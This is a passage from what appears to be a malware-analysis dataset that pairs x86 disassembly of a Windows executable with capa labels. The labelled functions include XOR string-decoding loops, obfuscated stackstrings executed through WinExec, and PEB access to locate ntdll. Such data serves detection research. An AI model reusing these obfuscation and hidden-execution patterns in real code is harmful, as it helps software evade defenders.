joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404300
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x136], 0
je 0x4044a9
movaps xmm5, xmmword [0x4f6c20]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f6f20]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f6c80]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
nop word [eax + eax]
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x130
jb 0x404380
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x135
jae 0x4044a2
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x135
jb 0x404492
mov byte [ebx + 0x136], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4045f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0xc], 0
je 0x404612
xor edx, edx
lea ecx, [edi + edx]
lea eax, [edx - 9]
inc edx
xor byte [ecx], al
cmp edx, 0xb
jb 0x404600
mov byte [edi + 0xc], 0
mov esi, dword [ebp + 8]
lea ecx, [edi + 0xb]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp edi, ecx
je 0x40464b
push 0xb
push edi
mov ecx, esi
call fcn.00407140
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x404660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0xd], 0
je 0x4046d9
movups xmm4, xmmword [0x4f6c80]
push ebx
mov esi, 0xfffffffa
mov ebx, 3
lea eax, [esi - 1]
movd xmm2, esi
lea edx, [esi - 3]
movd xmm0, eax
movd xmm3, edx
lea ecx, [esi - 2]
punpckldq xmm3, xmm0
movd xmm0, dword [edi + esi + 6]
punpcklbw xmm0, xmm0
movd xmm1, ecx
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [edi + esi + 6], xmm3
add esi, 4
sub ebx, 1
jne 0x404680
pop ebx
mov byte [edi + 0xd], 0
mov esi, dword [ebp + 8]
lea eax, [edi + 0xc]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp edi, eax
je 0x404712
push 0xc
push edi
mov ecx, esi
call fcn.00407140
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x404c50
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
movaps xmm0, xmmword [0x4f6e50]
lea ecx, [ebp - 0x48]
movups xmmword [ebp - 0x48], xmm0
push esi
movaps xmm0, xmmword [0x4f6de0]
movups xmmword [ebp - 0x38], xmm0
push 0
movaps xmm0, xmmword [0x4f6c90]
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 8], 0x1c070a17
movaps xmm0, xmmword [0x4f6e00]
movups xmmword [ebp - 0x18], xmm0
mov word [ebp - 4], 0xa
mov byte [ebp - 2], 1
call fcn.00404e20
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push eax
call esi
movaps xmm0, xmmword [0x4f6e50]
lea ecx, [ebp - 0x4c]
movups xmmword [ebp - 0x4c], xmm0
push 0
movaps xmm0, xmmword [0x4f6de0]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0xc], 0x8195442
movaps xmm0, xmmword [0x4f6cb0]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 8], 0xc1a05
movaps xmm0, xmmword [0x4f6df0]
movups xmmword [ebp - 0x1c], xmm0
mov byte [ebp - 4], 1
call fcn.00404fc0
push eax
call esi
movaps xmm0, xmmword [0x4f6e50]
lea ecx, [ebp - 0x50]
movups xmmword [ebp - 0x50], xmm0
push 0
movaps xmm0, xmmword [0x4f6de0]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x4f570617
movaps xmm0, xmmword [0x4f6d50]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0xf1c57
movaps xmm0, xmmword [0x4f6e10]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x1007119
call fcn.00405160
push eax
call esi
movaps xmm0, xmmword [0x4f6e70]
lea ecx, [ebp - 0x30]
movups xmmword [ebp - 0x30], xmm0
push 0
movaps xmm0, xmmword [0x4f6d90]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0x24397765
mov dword [ebp - 0xc], 0x3e716975
mov dword [ebp - 8], 0x13071e2d
mov word [ebp - 4], 0x100
call fcn.00405300
push eax
call esi
movaps xmm0, xmmword [0x4f6e50]
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
push 0
movaps xmm0, xmmword [0x4f6e20]
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0xc], 0xa455d49
movaps xmm0, xmmword [0x4f6cd0]
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 8], 0x1f0b1219
mov word [ebp - 4], 0x100
call fcn.004054a0
push eax
call esi
movaps xmm0, xmmword [0x4f6d10]
movups xmmword [ebp - 0x64], xmm0
movaps xmm0, xmmword [0x4f6d30]
movups xmmword [ebp - 0x54], xmm0
movaps xmm0, xmmword [0x4f6dc0]
lea ecx, [ebp - 0x64]
movups xmmword [ebp - 0x44], xmm0
push 0
movaps xmm0, xmmword [0x4f6db0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 4], 0x66
movaps xmm0, xmmword [0x4f6d00]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 2], 1
movaps xmm0, xmmword [0x4f6e60]
movups xmmword [ebp - 0x14], xmm0
call fcn.00405640
push eax
call esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404e20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x46], 0
je 0x404fb4
movaps xmm5, xmmword [0x4f6c20]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f6f20]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f6c80]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x40
jb 0x404e94
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x45
jae 0x404fb0
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x45
jb 0x404fa2
mov byte [ebx + 0x46], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404fc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x48], 0
je 0x405154
movaps xmm5, xmmword [0x4f6c20]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f6f20]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f6c80]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x40
jb 0x405034
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x47
jae 0x405150
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x47
jb 0x405142
mov byte [ebx + 0x48], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405160
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x4b], 0
je 0x4052f4
movaps xmm5, xmmword [0x4f6c20]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f6f20]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f6c80]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x40
jb 0x4051d4
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x4a
jae 0x4052f0
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x4a
jb 0x4052e2
mov byte [ebx + 0x4b], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405300
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x2d], 0
je 0x405494
movaps xmm5, xmmword [0x4f6c20]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f6f20]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f6c80]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x20
jb 0x405374
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x2c
jae 0x405490
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x2c
jb 0x405482
mov byte [ebx + 0x2d], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4054a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x39], 0
je 0x405634
movaps xmm5, xmmword [0x4f6c20]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f6f20]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f6c80]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x30
jb 0x405514
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x38
jae 0x405630
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x38
jb 0x405622
mov byte [ebx + 0x39], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405640
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, ecx
mov dword [ebp - 0x20], ebx
cmp byte [ebx + 0x62], 0
je 0x4057d4
movaps xmm5, xmmword [0x4f6c20]
lea ecx, [ebx + 8]
movaps xmm6, xmmword [0x4f6f20]
mov edx, 0xfffffffe
movups xmm4, xmmword [0x4f6c80]
mov dword [ebp - 8], ecx
sub edx, ebx
push esi
mov ecx, 0xfffffffc
mov dword [ebp - 4], 0xfffffff7
sub ecx, ebx
mov dword [ebp - 0x14], edx
push edi
mov dword [ebp - 0xc], ecx
mov edi, 0xfffffffb
sub edi, ebx
mov esi, 0xfffffffd
sub esi, ebx
mov dword [ebp - 0x10], edi
mov ecx, 0xfffffff3
mov dword [ebp - 0x18], esi
sub ecx, ebx
xor eax, eax
sub dword [ebp - 4], ebx
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
movd xmm0, eax
add ecx, ebx
pshufd xmm1, xmm0, 0
add edi, ebx
movd xmm0, dword [ebx - 8]
paddd xmm1, xmm6
punpcklbw xmm0, xmm0
add eax, 0x10
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm3, edi
xorps xmm1, xmm0
mov edi, dword [ebp - 0x10]
andps xmm1, xmm4
movd xmm0, ecx
mov ecx, dword [ebp - 4]
packuswb xmm1, xmm1
add ecx, ebx
packuswb xmm1, xmm1
movd dword [ebx - 8], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx - 4]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
xorps xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm4
lea ecx, [edx + ebx]
packuswb xmm1, xmm1
lea edx, [esi + ebx]
mov esi, dword [ebp - 0xc]
packuswb xmm1, xmm1
add esi, ebx
movd dword [ebx - 4], xmm1
pshufd xmm1, xmm0, 0
movd xmm0, dword [ebx]
paddd xmm1, xmm5
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
movd xmm2, ecx
xorps xmm1, xmm0
mov ecx, dword [ebp - 0x1c]
andps xmm1, xmm4
movd xmm0, edx
mov edx, dword [ebp - 0x14]
punpckldq xmm3, xmm0
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [ebx], xmm1
movd xmm0, dword [ebx + 4]
punpcklbw xmm0, xmm0
movd xmm1, esi
mov esi, dword [ebp - 0x18]
punpcklwd xmm0, xmm0
punpckldq xmm1, xmm2
punpckldq xmm3, xmm1
psrad xmm0, 0x18
xorps xmm3, xmm0
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd dword [ebx + 4], xmm3
add ebx, 0x10
cmp eax, 0x60
jb 0x4056b4
mov ebx, dword [ebp - 0x20]
pop edi
pop esi
cmp eax, 0x61
jae 0x4057d0
lea edx, [eax + ebx]
lea ecx, [eax - 9]
inc eax
xor byte [edx], cl
cmp eax, 0x61
jb 0x4057c2
mov byte [ebx + 0x62], 0
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409df0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4c3ffc
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x4ff140]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
mov dword [edi], eax
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
lea esi, [edi + 0x38]
mov dword [edi + 0x30], 0
mov byte [edi + 0x34], 0
mov dword [ebp - 0x14], esi
mov dword [esi + 0x24], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp + 0x30]
test ecx, ecx
je 0x409ea4
mov eax, dword [ecx]
push esi
call dword [eax]
mov dword [esi + 0x24], eax
mov al, byte [ebp + 0x34]
lea ecx, [edi + 0x70]
mov byte [ebp - 4], 5
mov byte [edi + 0x60], al
push 9
mov byte [edi + 0x68], 9
call fcn.00407460
cmp byte [edi + 0x68], 1
mov ebx, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
jne 0x409ee2
cmp dword [edi + 0x70], 0
jne 0x409ee2
push 0x4c8
push str.C:UsersMustafaDesktopNew_folder__3_keyauth_cpp_library_main_nlohmannjson.hpp
push str.m_type___value_t::object__m_value.object___nullptr
call ebx
add esp, 0xc
cmp byte [edi + 0x68], 2
jne 0x409f02
cmp dword [edi + 0x70], 0
jne 0x409f02
push 0x4c9
push str.C:UsersMustafaDesktopNew_folder__3_keyauth_cpp_library_main_nlohmannjson.hpp
push str.m_type___value_t::array__m_value.array___nullptr
call ebx
add esp, 0xc
